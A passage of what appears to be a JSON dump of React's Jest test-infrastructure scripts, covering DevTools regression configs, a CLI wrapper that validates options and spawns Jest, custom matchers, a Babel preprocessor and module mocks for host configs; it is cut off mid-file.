    "path": "scripts/jest/devtools/config.build-devtools-regression.js",
    "content": "'use strict';\n\nconst semver = require('semver');\n\nconst NODE_MODULES_DIR =\n  process.env.RELEASE_CHANNEL === 'stable' ? 'oss-stable' : 'oss-experimental';\n\nconst REACT_VERSION = process.env.REACT_VERSION;\n\nconst moduleNameMapper = {};\nconst setupFiles = [];\n\n// We only want to add these if we are in a regression test, IE if there\n// is a REACT_VERSION specified\nif (REACT_VERSION) {\n  // React version 16.5 has a schedule package instead of a scheduler\n  // package, so we need to rename them accordingly\n  if (semver.satisfies(REACT_VERSION, '16.5')) {\n    moduleNameMapper[`^schedule$`] =\n      `<rootDir>/build/${NODE_MODULES_DIR}/schedule`;\n    moduleNameMapper['^schedule/tracing$'] =\n      `<rootDir>/build/${NODE_MODULES_DIR}/schedule/tracing-profiling`;\n  }\n\n  // react-dom/client is only in v18.0.0 and up, so we\n  // map it to react-dom instead\n  if (semver.satisfies(REACT_VERSION, '<18.0')) {\n    moduleNameMapper['^react-dom/client$'] =\n      `<rootDir>/build/${NODE_MODULES_DIR}/react-dom`;\n  }\n\n  setupFiles.push(require.resolve('./setupTests.build-devtools-regression'));\n}\n\nmodule.exports = {\n  moduleNameMapper,\n  setupFiles,\n};\n"
  },
  {
    "path": "scripts/jest/devtools/setupEnv.js",
    "content": "'use strict';\n\nconst semver = require('semver');\nconst {ReactVersion} = require('../../../ReactVersions');\n\n// DevTools stores preferences between sessions in localStorage\nif (!global.hasOwnProperty('localStorage')) {\n  global.localStorage = require('local-storage-fallback').default;\n}\n\n// Mimic the global we set with Webpack's DefinePlugin\nglobal.__DEV__ = process.env.NODE_ENV !== 'production';\nglobal.__TEST__ = true;\nglobal.__IS_FIREFOX__ = false;\nglobal.__IS_CHROME__ = false;\nglobal.__IS_EDGE__ = false;\nglobal.__IS_NATIVE__ = false;\n\nconst ReactVersionTestingAgainst = process.env.REACT_VERSION || ReactVersion;\n\nglobal._test_react_version = (range, testName, callback) => {\n  const shouldPass = semver.satisfies(ReactVersionTestingAgainst, range);\n\n  if (shouldPass) {\n    test(testName, callback);\n  } else {\n    test.skip(testName, callback);\n  }\n};\n\nglobal._test_react_version_focus = (range, testName, callback) => {\n  const shouldPass = semver.satisfies(ReactVersionTestingAgainst, range);\n\n  if (shouldPass) {\n    test.only(testName, callback);\n  } else {\n    test.skip(testName, callback);\n  }\n};\n\nglobal._test_ignore_for_react_version = (testName, callback) => {\n  test.skip(testName, callback);\n};\n"
  },
  {
    "path": "scripts/jest/devtools/setupTests.build-devtools-regression.js",
    "content": "'use strict';\n\n// Regression tests use a React DOM profiling, so we need\n// to replace these tests with scheduler/tracing-profiling\njest.mock('scheduler/tracing', () => {\n  return jest.requireActual('scheduler/tracing-profiling');\n});\n"
  },
  {
    "path": "scripts/jest/dont-run-jest-directly.js",
    "content": "'use strict';\n\nthrow new Error(\"Don't run `jest` directly. Run `yarn test` instead.\");\n"
  },
  {
    "path": "scripts/jest/jest-cli.js",
    "content": "'use strict';\n\nconst {spawn} = require('child_process');\nconst chalk = require('chalk');\nconst yargs = require('yargs');\nconst fs = require('fs');\nconst path = require('path');\nconst semver = require('semver');\n\nconst ossConfig = './scripts/jest/config.source.js';\nconst wwwConfig = './scripts/jest/config.source-www.js';\nconst xplatConfig = './scripts/jest/config.source-xplat.js';\nconst devToolsConfig = './scripts/jest/config.build-devtools.js';\n\n// TODO: These configs are separate but should be rolled into the configs above\n// so that the CLI can provide them as options for any of the configs.\nconst persistentConfig = './scripts/jest/config.source-persistent.js';\nconst buildConfig = './scripts/jest/config.build.js';\n\nconst argv = yargs\n  .parserConfiguration({\n    // Important: This option tells yargs to move all other options not\n    // specified here into the `_` key. We use this to send all of the\n    // Jest options that we don't use through to Jest (like --watch).\n    'unknown-options-as-args': true,\n  })\n  .wrap(yargs.terminalWidth())\n  .options({\n    debug: {\n      alias: 'd',\n      describe: 'Run with node debugger attached.',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n    project: {\n      alias: 'p',\n      describe: 'Run the given project.',\n      requiresArg: true,\n      type: 'string',\n      default: 'default',\n      choices: ['default', 'devtools'],\n    },\n    releaseChannel: {\n      alias: 'r',\n      describe: 'Run with the given release channel.',\n      requiresArg: true,\n      type: 'string',\n      default: 'experimental',\n      choices: ['experimental', 'stable', 'www-classic', 'www-modern', 'xplat'],\n    },\n    env: {\n      alias: 'e',\n      describe: 'Run with the given node environment.',\n      requiresArg: true,\n      type: 'string',\n      choices: ['development', 'production'],\n    },\n    prod: {\n      describe: 'Run with NODE_ENV=production.',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n    dev: {\n      describe: 'Run with NODE_ENV=development.',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n    variant: {\n      alias: 'v',\n      describe: 'Run with www variant set to true.',\n      requiresArg: false,\n      type: 'boolean',\n    },\n    build: {\n      alias: 'b',\n      describe: 'Run tests on builds.',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n    persistent: {\n      alias: 'n',\n      describe: 'Run with persistence.',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n    ci: {\n      describe: 'Run tests in CI',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n    compactConsole: {\n      alias: 'c',\n      describe: 'Compact console output (hide file locations).',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n    reactVersion: {\n      describe: 'DevTools testing for specific version of React',\n      requiresArg: true,\n      type: 'string',\n    },\n    sourceMaps: {\n      describe:\n        'Enable inline source maps when transforming source files with Jest. Useful for debugging, but makes it slower.',\n      type: 'boolean',\n      default: false,\n    },\n    silent: {\n      alias: 's',\n      describe: 'Use silent reporter with dot progress (minimal output).',\n      requiresArg: false,\n      type: 'boolean',\n      default: false,\n    },\n  }).argv;\n\nfunction logError(message) {\n  console.error(chalk.red(`\\n${message}`));\n}\nfunction isWWWConfig() {\n  return (\n    (argv.releaseChannel === 'www-classic' ||\n      argv.releaseChannel === 'www-modern') &&\n    argv.project !== 'devtools'\n  );\n}\n\nfunction isXplatConfig() {\n  return argv.releaseChannel === 'xplat' && argv.project !== 'devtools';\n}\n\nfunction isOSSConfig() {\n  return (\n    argv.releaseChannel === 'stable' || argv.releaseChannel === 'experimental'\n  );\n}\n\nfunction validateOptions() {\n  let success = true;\n\n  if (argv.project === 'devtools') {\n    if (argv.prod) {\n      logError(\n        'DevTool tests do not support --prod. Remove this option to continue.'\n      );\n      success = false;\n    }\n\n    if (argv.dev) {\n      logError(\n        'DevTool tests do not support --dev. Remove this option to continue.'\n      );\n      success = false;\n    }\n\n    if (argv.env) {\n      logError(\n        'DevTool tests do not support --env. Remove this option to continue.'\n      );\n      success = false;\n    }\n\n    if (argv.persistent) {\n      logError(\n        'DevTool tests do not support --persistent. Remove this option to continue.'\n      );\n      success = false;\n    }\n\n    if (argv.variant) {\n      logError(\n        'DevTool tests do not support --variant. Remove this option to continue.'\n      );\n      success = false;\n    }\n\n    if (!argv.build) {\n      logError('DevTool tests require --build.');\n      success = false;\n    }\n\n    if (argv.reactVersion && !semver.validRange(argv.reactVersion)) {\n      success = false;\n      logError('please specify a valid version range for --reactVersion');\n    }\n  } else {\n    if (argv.compactConsole) {\n      logError('Only DevTool tests support compactConsole flag.');\n      success = false;\n    }\n    if (argv.reactVersion) {\n      logError('Only DevTools tests supports the --reactVersion flag.');\n      success = false;\n    }\n  }\n\n  if (isWWWConfig() || isXplatConfig()) {\n    if (argv.variant === undefined) {\n      // Turn internal experiments on by default\n      argv.variant = true;\n    }\n  } else {\n    if (argv.variant) {\n      logError(\n        'Variant is only supported for the www release channels. Update these options to continue.'\n      );\n      success = false;\n    }\n  }\n\n  if (argv.build && argv.persistent) {\n    logError(\n      'Persistence is not supported for build targets. Update these options to continue.'\n    );\n    success = false;\n  }\n\n  if (!isOSSConfig() && argv.persistent) {\n    logError(\n      'Persistence only supported for oss release channels. Update these options to continue.'\n    );\n    success = false;\n  }\n\n  if (argv.build && isWWWConfig()) {\n    logError(\n      'Build targets are only not supported for www release channels. Update these options to continue.'\n    );\n    success = false;\n  }\n\n  if (argv.build && isXplatConfig()) {\n    logError(\n      'Build targets are only not supported for xplat release channels. Update these options to continue.'\n    );\n    success = false;\n  }\n\n  if (argv.env && argv.env !== 'production' && argv.prod) {\n    logError(\n      'Build type does not match --prod. Update these options to continue.'\n    );\n    success = false;\n  }\n\n  if (argv.env && argv.env !== 'development' && argv.dev) {\n    logError(\n      'Build type does not match --dev. Update these options to continue.'\n    );\n    success = false;\n  }\n\n  if (argv.prod && argv.dev) {\n    logError(\n      'Cannot supply both --prod and --dev. Remove one of these options to continue.'\n    );\n    success = false;\n  }\n\n  if (argv.build) {\n    // TODO: We could build this if it hasn't been built yet.\n    const buildDir = path.resolve('./build');\n    if (!fs.existsSync(buildDir)) {\n      logError(\n        'Build directory does not exist, please run `yarn build` or remove the --build option.'\n      );\n      success = false;\n    } else if (Date.now() - fs.statSync(buildDir).mtimeMs > 1000 * 60 * 15) {\n      logError(\n        'Warning: Running a build test with a build directory older than 15 minutes.\\nPlease remember to run `yarn build` when using --build.'\n      );\n    }\n  }\n\n  if (!success) {\n    console.log(''); // Extra newline.\n    process.exit(1);\n  }\n}\n\nfunction getCommandArgs() {\n  // Add the correct Jest config.\n  const args = ['./scripts/jest/jest.js', '--config'];\n  if (argv.project === 'devtools') {\n    args.push(devToolsConfig);\n  } else if (argv.build) {\n    args.push(buildConfig);\n  } else if (argv.persistent) {\n    args.push(persistentConfig);\n  } else if (isWWWConfig()) {\n    args.push(wwwConfig);\n  } else if (isXplatConfig()) {\n    args.push(xplatConfig);\n  } else if (isOSSConfig()) {\n    args.push(ossConfig);\n  } else {\n    // We should not get here.\n    logError('Unrecognized release channel');\n    process.exit(1);\n  }\n\n  // Set the debug options, if necessary.\n  if (argv.debug) {\n    args.unshift('--inspect-brk');\n    args.push('--runInBand');\n\n    // Prevent console logs from being hidden until test completes.\n    args.push('--useStderr');\n  }\n\n  if (argv.ci === true) {\n    args.push('--maxConcurrency=10');\n  }\n\n  // Use silent reporter if requested.\n  if (argv.silent) {\n    args.push('--reporters=jest-silent-reporter');\n    args.push('--testLocationInResults');\n  }\n\n  // Push the remaining args onto the command.\n  // This will send args like `--watch` to Jest.\n  args.push(...argv._);\n\n  return args;\n}\n\nfunction getEnvars() {\n  const envars = {\n    NODE_ENV: argv.env || 'development',\n    RELEASE_CHANNEL: argv.releaseChannel.match(/modern|experimental/)\n      ? 'experimental'\n      : 'stable',\n\n    // Pass this flag through to the config environment\n    // so the base config can conditionally load the console setup file.\n    compactConsole: argv.compactConsole,\n  };\n\n  if (argv.prod) {\n    envars.NODE_ENV = 'production';\n  }\n\n  if (argv.dev) {\n    envars.NODE_ENV = 'development';\n  }\n\n  if (argv.variant) {\n    envars.VARIANT = true;\n  }\n\n  if (argv.reactVersion) {\n    envars.REACT_VERSION = semver.coerce(argv.reactVersion);\n  }\n\n  if (argv.sourceMaps) {\n    // This is off by default because it slows down the test runner, but it's\n    // super useful when running the debugger.\n    envars.JEST_ENABLE_SOURCE_MAPS = 'inline';\n  }\n\n  if (argv.silent) {\n    // Enable dot output for jest-silent-reporter so that long test runs\n    // show progress and don't appear to be hung.\n    envars.JEST_SILENT_REPORTER_DOTS = true;\n  }\n\n  return envars;\n}\n\nfunction main() {\n  validateOptions();\n\n  const args = getCommandArgs();\n  const envars = getEnvars();\n  const env = Object.entries(envars).map(([k, v]) => `${k}=${v}`);\n\n  if (argv.ci !== true) {\n    // Print the full command we're actually running.\n    const command = `$ ${env.join(' ')} node ${args.join(' ')}`;\n    console.log(chalk.dim(command));\n\n    // Print the release channel and project we're running for quick confirmation.\n    console.log(\n      chalk.blue(\n        `\\nRunning tests for ${argv.project} (${argv.releaseChannel})...`\n      )\n    );\n  }\n\n  // Print a message that the debugger is starting just\n  // for some extra feedback when running the debugger.\n  if (argv.debug) {\n    console.log(chalk.green('\\nStarting debugger...'));\n    console.log(chalk.green('Open chrome://inspect and press \"inspect\"\\n'));\n  }\n\n  // Run Jest.\n  const jest = spawn('node', args, {\n    stdio: 'inherit',\n    env: {...envars, ...process.env},\n  });\n\n  // Ensure we close our process when we get a failure case.\n  jest.on('close', code => {\n    // Forward the exit code from the Jest process.\n    if (code === 1) {\n      process.exit(1);\n    }\n  });\n}\n\nmain();\n"
  },
  {
    "path": "scripts/jest/jest.js",
    "content": "#!/usr/bin/env node\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates. All Rights Reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\n// --- Welcome to debugging React tests ---\n// The debugger pauses on this statement so that you can open the dev tools.\n// You can now set breakpoints and begin debugging.\nrequire('jest-cli/bin/jest');\n"
  },
  {
    "path": "scripts/jest/matchers/reactTestMatchers.js",
    "content": "'use strict';\n\nconst JestReact = require('jest-react');\nconst {assertConsoleLogsCleared} = require('internal-test-utils/consoleMock');\n// TODO: Move to ReactInternalTestUtils\n\nfunction captureAssertion(fn) {\n  // Trick to use a Jest matcher inside another Jest matcher. `fn` contains an\n  // assertion; if it throws, we capture the error and return it, so the stack\n  // trace presented to the user points to the original assertion in the\n  // test file.\n  try {\n    fn();\n  } catch (error) {\n    return {\n      pass: false,\n      message: () => error.message,\n    };\n  }\n  return {pass: true};\n}\n\nfunction assertYieldsWereCleared(Scheduler, caller) {\n  const actualYields = Scheduler.unstable_clearLog();\n  if (actualYields.length !== 0) {\n    const error = Error(\n      'The event log is not empty. Call assertLog(...) first.'\n    );\n    Error.captureStackTrace(error, caller);\n    throw error;\n  }\n  assertConsoleLogsCleared();\n}\n\nfunction toMatchRenderedOutput(ReactNoop, expectedJSX) {\n  if (typeof ReactNoop.getChildrenAsJSX === 'function') {\n    const Scheduler = ReactNoop._Scheduler;\n    assertYieldsWereCleared(Scheduler, toMatchRenderedOutput);\n    return captureAssertion(() => {\n      expect(ReactNoop.getChildrenAsJSX()).toEqual(expectedJSX);\n    });\n  }\n  return JestReact.unstable_toMatchRenderedOutput(ReactNoop, expectedJSX);\n}\n\nmodule.exports = {\n  toMatchRenderedOutput,\n};\n"
  },
  {
    "path": "scripts/jest/matchers/toThrow.js",
    "content": "'use strict';\n\n// V8 uses a different message format when reading properties of null or undefined.\n// Older versions use e.g. \"Cannot read property 'world' of undefined\"\n// Newer versions use e.g. \"Cannot read properties of undefined (reading 'world')\"\n// This file overrides the built-in toThrow() matches to handle both cases,\n// enabling the React project to support Node 12-16 without forking tests.\n\nconst toThrowMatchers = require('expect/build/toThrowMatchers').default;\nconst builtInToThrow = toThrowMatchers.toThrow;\n\n// Detect the newer stack format:\nlet newErrorFormat = false;\ntry {\n  null.test();\n} catch (error) {\n  if (error.message.includes('Cannot read properties of null')) {\n    newErrorFormat = true;\n  }\n}\n\n// Detect the message pattern we need to rename:\nconst regex = /Cannot read property '([^']+)' of (.+)/;\n\n// Massage strings (written in the older format) to match the newer format\n// if tests are currently running on Node 16+\nfunction normalizeErrorMessage(message) {\n  if (newErrorFormat) {\n    const match = message.match(regex);\n    if (match) {\n      return `Cannot read properties of ${match[2]} (reading '${match[1]}')`;\n    }\n  }\n\n  return message;\n}\n\nfunction toThrow(value, expectedValue) {\n  if (typeof expectedValue === 'string') {\n    expectedValue = normalizeErrorMessage(expectedValue);\n  } else if (expectedValue instanceof Error) {\n    expectedValue.message = normalizeErrorMessage(expectedValue.message);\n  }\n\n  return builtInToThrow.call(this, value, expectedValue);\n}\n\nmodule.exports = {\n  toThrow,\n};\n"
  },
  {
    "path": "scripts/jest/patchMessageChannel.js",
    "content": "'use strict';\n\nexport function patchMessageChannel() {\n  global.MessageChannel = class {\n    constructor() {\n      const port1 = {\n        onmesssage: () => {},\n      };\n\n      this.port1 = port1;\n\n      this.port2 = {\n        postMessage(msg) {\n          setTimeout(() => {\n            port1.onmessage(msg);\n          }, 0);\n        },\n      };\n    }\n  };\n}\n"
  },
  {
    "path": "scripts/jest/patchSetImmediate.js",
    "content": "'use strict';\n\nexport function patchSetImmediate() {\n  global.setImmediate = cb => {\n    setTimeout(cb, 0);\n  };\n}\n"
  },
  {
    "path": "scripts/jest/preprocessor.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nconst babel = require('@babel/core');\nconst coffee = require('coffee-script');\nconst hermesParser = require('hermes-parser');\n\nconst tsPreprocessor = require('./typescript/preprocessor');\nconst createCacheKeyFunction = require('fbjs-scripts/jest/createCacheKeyFunction');\nconst {ReactVersion} = require('../../ReactVersions');\nconst semver = require('semver');\n\nconst pathToBabel = path.join(\n  require.resolve('@babel/core'),\n  '../..',\n  'package.json'\n);\nconst pathToTransformInfiniteLoops = require.resolve(\n  '../babel/transform-prevent-infinite-loops'\n);\nconst pathToTransformTestGatePragma = require.resolve(\n  '../babel/transform-test-gate-pragma'\n);\nconst pathToTransformReactVersionPragma = require.resolve(\n  '../babel/transform-react-version-pragma'\n);\nconst pathToTransformLazyJSXImport = require.resolve(\n  '../babel/transform-lazy-jsx-import'\n);\nconst pathToBabelrc = path.join(__dirname, '..', '..', 'babel.config.js');\nconst pathToErrorCodes = require.resolve('../error-codes/codes.json');\n\nconst ReactVersionTestingAgainst = process.env.REACT_VERSION || ReactVersion;\n\nconst babelOptions = {\n  plugins: [\n    // For Node environment only. For builds, Rollup takes care of ESM.\n    require.resolve('@babel/plugin-transform-modules-commonjs'),\n\n    pathToTransformInfiniteLoops,\n    pathToTransformTestGatePragma,\n\n    // This optimization is important for extremely performance-sensitive (e.g. React source).\n    // It's okay to disable it for tests.\n    [\n      require.resolve('@babel/plugin-transform-block-scoping'),\n      {throwIfClosureRequired: false},\n    ],\n  ],\n  retainLines: true,\n};\n\nmodule.exports = {\n  process: function (src, filePath) {\n    if (filePath.match(/\\.css$/)) {\n      // Don't try to parse CSS modules; they aren't needed for tests anyway.\n      return {code: ''};\n    }\n    if (filePath.match(/\\.coffee$/)) {\n      return {code: coffee.compile(src, {bare: true})};\n    }\n    if (filePath.match(/\\.ts$/) && !filePath.match(/\\.d\\.ts$/)) {\n      return {code: tsPreprocessor.compile(src, filePath)};\n    }\n    if (filePath.match(/\\.json$/)) {\n      return {code: src};\n    }\n    if (!filePath.match(/\\/third_party\\//)) {\n      // for test files, we also apply the async-await transform, but we want to\n      // make sure we don't accidentally apply that transform to product code.\n      const isTestFile = !!filePath.match(/\\/__tests__\\//);\n      const isInDevToolsPackages = !!filePath.match(\n        /\\/packages\\/react-devtools.*\\//\n      );\n      const plugins = [].concat(babelOptions.plugins);\n      if (isTestFile && isInDevToolsPackages) {\n        plugins.push(pathToTransformReactVersionPragma);\n      }\n\n      // This is only for React DevTools tests with React 16.x\n      // `react/jsx-dev-runtime` and `react/jsx-runtime` are included in the package starting from v17\n      // Technically 16.14 and 15.7 have the new runtime but we're not testing those versions.\n      if (\n        semver.gte(ReactVersionTestingAgainst, '15.0.0') &&\n        semver.lt(ReactVersionTestingAgainst, '17.0.0')\n      ) {\n        plugins.push(\n          [\n            require.resolve('@babel/plugin-transform-react-jsx'),\n            {runtime: 'classic'},\n          ],\n          require.resolve('@babel/plugin-transform-react-jsx-source')\n        );\n      } else {\n        plugins.push([\n          process.env.NODE_ENV === 'development'\n            ? require.resolve('@babel/plugin-transform-react-jsx-development')\n            : require.resolve('@babel/plugin-transform-react-jsx'),\n          // The \"automatic\" runtime corresponds to react/jsx-runtime. \"classic\"\n          // would be React.createElement.\n          {runtime: 'automatic'},\n        ]);\n      }\n\n      plugins.push(pathToTransformLazyJSXImport);\n\n      let sourceAst = hermesParser.parse(src, {babel: true});\n      return {\n        code: babel.transformFromAstSync(\n          sourceAst,\n          src,\n          Object.assign(\n            {filename: path.relative(process.cwd(), filePath)},\n            babelOptions,\n            {\n              plugins,\n              sourceMaps: process.env.JEST_ENABLE_SOURCE_MAPS\n                ? process.env.JEST_ENABLE_SOURCE_MAPS\n                : false,\n            }\n          )\n        ).code,\n      };\n    }\n    return {code: src};\n  },\n\n  getCacheKey: createCacheKeyFunction(\n    [\n      __filename,\n      pathToBabel,\n      pathToBabelrc,\n      pathToTransformInfiniteLoops,\n      pathToTransformTestGatePragma,\n      pathToTransformReactVersionPragma,\n      pathToTransformLazyJSXImport,\n      pathToErrorCodes,\n    ],\n    [\n      (process.env.REACT_VERSION != null).toString(),\n      (process.env.NODE_ENV === 'development').toString(),\n    ]\n  ),\n};\n"
  },
  {
    "path": "scripts/jest/setupEnvironment.js",
    "content": "/* eslint-disable */\n\nconst NODE_ENV = process.env.NODE_ENV;\nif (NODE_ENV !== 'development' && NODE_ENV !== 'production') {\n  throw new Error('NODE_ENV must either be set to development or production.');\n}\nglobal.__DEV__ = NODE_ENV === 'development';\nglobal.__EXTENSION__ = false;\nglobal.__TEST__ = NODE_ENV === 'test';\nglobal.__PROFILE__ = NODE_ENV === 'development';\n\nconst RELEASE_CHANNEL = process.env.RELEASE_CHANNEL;\n\n// Default to running tests in experimental mode. If the release channel is\n// set via an environment variable, then check if it's \"experimental\".\nglobal.__EXPERIMENTAL__ =\n  typeof RELEASE_CHANNEL === 'string'\n    ? RELEASE_CHANNEL === 'experimental'\n    : true;\n\nglobal.__VARIANT__ = !!process.env.VARIANT;\n\nif (typeof window !== 'undefined') {\n} else {\n  global.AbortController =\n    require('abortcontroller-polyfill/dist/cjs-ponyfill').AbortController;\n}\n"
  },
  {
    "path": "scripts/jest/setupGlobal.js",
    "content": "/* eslint-disable */\n\nmodule.exports = () => {\n  // can use beforeEach/afterEach or setupEnvironment.js in node >= 13: https://github.com/nodejs/node/pull/20026\n  // jest's `setupFiles` is too late: https://stackoverflow.com/a/56482581/3406963\n  process.env.TZ = 'UTC';\n};\n"
  },
  {
    "path": "scripts/jest/setupHostConfigs.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst nodePath = require('path');\nconst inlinedHostConfigs = require('../shared/inlinedHostConfigs');\n\nfunction resolveEntryFork(resolvedEntry, isFBBundle) {\n  // Pick which entry point fork to use:\n  // .modern.fb.js\n  // .classic.fb.js\n  // .fb.js\n  // .stable.js\n  // .experimental.js\n  // .js\n  // or any of those plus .development.js\n\n  if (isFBBundle) {\n    // FB builds for react-dom need to alias both react-dom and react-dom/client to the same\n    // entrypoint since there is only a single build for them.\n    if (\n      resolvedEntry.endsWith('react-dom/index.js') ||\n      resolvedEntry.endsWith('react-dom/client.js') ||\n      resolvedEntry.endsWith('react-dom/unstable_testing.js')\n    ) {\n      let specifier;\n      let entrypoint;\n      if (resolvedEntry.endsWith('index.js')) {\n        specifier = 'react-dom';\n        entrypoint = __EXPERIMENTAL__\n          ? 'src/ReactDOMFB.modern.js'\n          : 'src/ReactDOMFB.js';\n      } else if (resolvedEntry.endsWith('client.js')) {\n        specifier = 'react-dom/client';\n        entrypoint = __EXPERIMENTAL__\n          ? 'src/ReactDOMFB.modern.js'\n          : 'src/ReactDOMFB.js';\n      } else {\n        // must be unstable_testing\n        specifier = 'react-dom/unstable_testing';\n        entrypoint = __EXPERIMENTAL__\n          ? 'src/ReactDOMTestingFB.modern.js'\n          : 'src/ReactDOMTestingFB.js';\n      }\n\n      resolvedEntry = nodePath.join(resolvedEntry, '..', entrypoint);\n      const devEntry = resolvedEntry.replace('.js', '.development.js');\n      if (__DEV__ && fs.existsSync(devEntry)) {\n        return devEntry;\n      }\n      if (fs.existsSync(resolvedEntry)) {\n        return resolvedEntry;\n      }\n      const fbReleaseChannel = __EXPERIMENTAL__ ? 'www-modern' : 'www-classic';\n      throw new Error(\n        `${fbReleaseChannel} tests are expected to alias ${specifier} to ${entrypoint} but this file was not found`\n      );\n    }\n    const resolvedFBEntry = resolvedEntry.replace(\n      '.js',\n      __EXPERIMENTAL__ ? '.modern.fb.js' : '.classic.fb.js'\n    );\n    const devFBEntry = resolvedFBEntry.replace('.js', '.development.js');\n    if (__DEV__ && fs.existsSync(devFBEntry)) {\n      return devFBEntry;\n    }\n    if (fs.existsSync(resolvedFBEntry)) {\n      return resolvedFBEntry;\n    }\n    const resolvedGenericFBEntry = resolvedEntry.replace('.js', '.fb.js');\n    const devGenericFBEntry = resolvedGenericFBEntry.replace(\n      '.js',\n      '.development.js'\n    );\n    if (__DEV__ && fs.existsSync(devGenericFBEntry)) {\n      return devGenericFBEntry;\n    }\n    if (fs.existsSync(resolvedGenericFBEntry)) {\n      return resolvedGenericFBEntry;\n    }\n    // Even if it's a FB bundle we fallthrough to pick stable or experimental if we don't have an FB fork.\n  }\n  const resolvedForkedEntry = resolvedEntry.replace(\n    '.js',\n    __EXPERIMENTAL__ ? '.experimental.js' : '.stable.js'\n  );\n  const devForkedEntry = resolvedForkedEntry.replace('.js', '.development.js');\n  if (__DEV__ && fs.existsSync(devForkedEntry)) {\n    return devForkedEntry;\n  }\n  if (fs.existsSync(resolvedForkedEntry)) {\n    return resolvedForkedEntry;\n  }\n  const plainDevEntry = resolvedEntry.replace('.js', '.development.js');\n  if (__DEV__ && fs.existsSync(plainDevEntry)) {\n    return plainDevEntry;\n  }\n  // Just use the plain .js one.\n  return resolvedEntry;\n}\n\nfunction mockReact() {\n  jest.mock('react', () => {\n    const resolvedEntryPoint = resolveEntryFork(\n      require.resolve('react'),\n      global.__WWW__ || global.__XPLAT__,\n      global.__DEV__\n    );\n    return jest.requireActual(resolvedEntryPoint);\n  });\n  // Make it possible to import this module inside\n  // the React package itself.\n  jest.mock('shared/ReactSharedInternals', () => {\n    return jest.requireActual('react/src/ReactSharedInternalsClient');\n  });\n}\n\n// When we want to unmock React we really need to mock it again.\nglobal.__unmockReact = mockReact;\n\nmockReact();\n\njest.mock('react/react.react-server', () => {\n  // If we're requiring an RSC environment, use those internals instead.\n  jest.mock('shared/ReactSharedInternals', () => {\n    return jest.requireActual('react/src/ReactSharedInternalsServer');\n  });\n  const resolvedEntryPoint = resolveEntryFork(\n    require.resolve('react/src/ReactServer'),\n    global.__WWW__ || global.__XPLAT__,\n    global.__DEV__\n  );\n  return jest.requireActual(resolvedEntryPoint);\n});\n\n// When testing the custom renderer code path through `react-reconciler`,\n// turn the export into a function, and use the argument as host config.\nconst shimHostConfigPath = 'react-reconciler/src/ReactFiberConfig';\njest.mock('react-reconciler', () => {\n  return config => {\n    jest.mock(shimHostConfigPath, () => config);\n    return jest.requireActual('react-reconciler');\n  };\n});\nconst shimServerStreamConfigPath = 'react-server/src/ReactServerStreamConfig';\nconst shimServerConfigPath = 'react-server/src/ReactFizzConfig';\nconst shimFlightServerConfigPath = 'react-server/src/ReactFlightServerConfig';\njest.mock('react-server', () => {\n  return config => {\n    jest.mock(shimServerStreamConfigPath, () => config);\n    jest.mock(shimServerConfigPath, () => config);\n    return jest.requireActual('react-server');\n  };\n});\njest.mock('react-server/flight', () => {\n  return config => {\n    jest.mock(shimServerStreamConfigPath, () => config);\n    jest.mock(shimServerConfigPath, () => config);\n    jest.mock('react-server/src/ReactFlightServerConfigBundlerCustom', () => ({\n      isClientReference: config.isClientReference,\n      isServerReference: config.isServerReference,\n      getClientReferenceKey: config.getClientReferenceKey,\n      resolveClientReferenceMetadata: config.resolveClientReferenceMetadata,\n    }));\n    jest.mock(shimFlightServerConfigPath, () =>\n      jest.requireActual(\n        'react-server/src/forks/ReactFlightServerConfig.custom'\n      )\n    );\n    return jest.requireActual('react-server/flight');\n  };\n});\nconst shimFlightClientConfigPath = 'react-client/src/ReactFlightClientConfig';\njest.mock('react-client/flight', () => {\n  return config => {\n    jest.mock(shimFlightClientConfigPath, () => config);\n    return jest.requireActual('react-client/flight');\n  };\n});\n\nconst configPaths = [\n  'react-reconciler/src/ReactFiberConfig',\n  'react-client/src/ReactFlightClientConfig',\n  'react-server/src/ReactServerStreamConfig',\n  'react-server/src/ReactFizzConfig',\n  'react-server/src/ReactFlightServerConfig',\n];\n\nfunction mockAllConfigs(rendererInfo) {\n  configPaths.forEach(path => {\n    // We want the reconciler to pick up the host config for this renderer.\n    jest.mock(path, () => {\n      let idx = path.lastIndexOf('/');\n      let forkPath = path.slice(0, idx) + '/forks' + path.slice(idx);\n      let parts = rendererInfo.shortName.split('-');\n      while (parts.length) {\n        try {\n          const candidate = `${forkPath}.${parts.join('-')}.js`;\n          fs.statSync(nodePath.join(process.cwd(), 'packages', candidate));\n          return jest.requireActual(candidate);\n        } catch (error) {\n          if (error.code !== 'ENOENT') {\n            throw error;\n          }\n          // try without a part\n        }\n        parts.pop();\n      }\n      throw new Error(\n        `Expected to find a fork for ${path} but did not find one.`\n      );\n    });\n  });\n}\n\n// But for inlined host configs (such as React DOM, Native, etc), we\n// mock their named entry points to establish a host config mapping.\ninlinedHostConfigs.forEach(rendererInfo => {\n  if (rendererInfo.shortName === 'custom') {\n    // There is no inline entry point for the custom renderers.\n    // Instead, it's handled by the generic `react-reconciler` entry point above.\n    return;\n  }\n  rendererInfo.entryPoints.forEach(entryPoint => {\n    jest.mock(entryPoint, () => {\n      mockAllConfigs(rendererInfo);\n      const resolvedEntryPoint = resolveEntryFork(\n        require.resolve(entryPoint),\n        global.__WWW__ || global.__XPLAT__,\n        global.__DEV__\n      );\n      return jest.requireActual(resolvedEntryPoint);\n    });\n  });\n});\n\njest.mock('react-server/src/ReactFlightServer', () => {\n  // If we're requiring an RSC environment, use those internals instead.\n  jest.mock('shared/ReactSharedInternals', () => {\n    return jest.requireActual('react/src/ReactSharedInternalsServer');\n  });\n  return jest.requireActual('react-server/src/ReactFlightServer');\n});\n\n// Make it possible to import this module inside\n// the ReactDOM package itself.\njest.mock('shared/ReactDOMSharedInternals', () =>\n  jest.requireActual('react-dom/src/ReactDOMSharedInternals')\n);\n\njest.mock('scheduler', () => jest.requireActual('scheduler/unstable_mock'));\n\nif 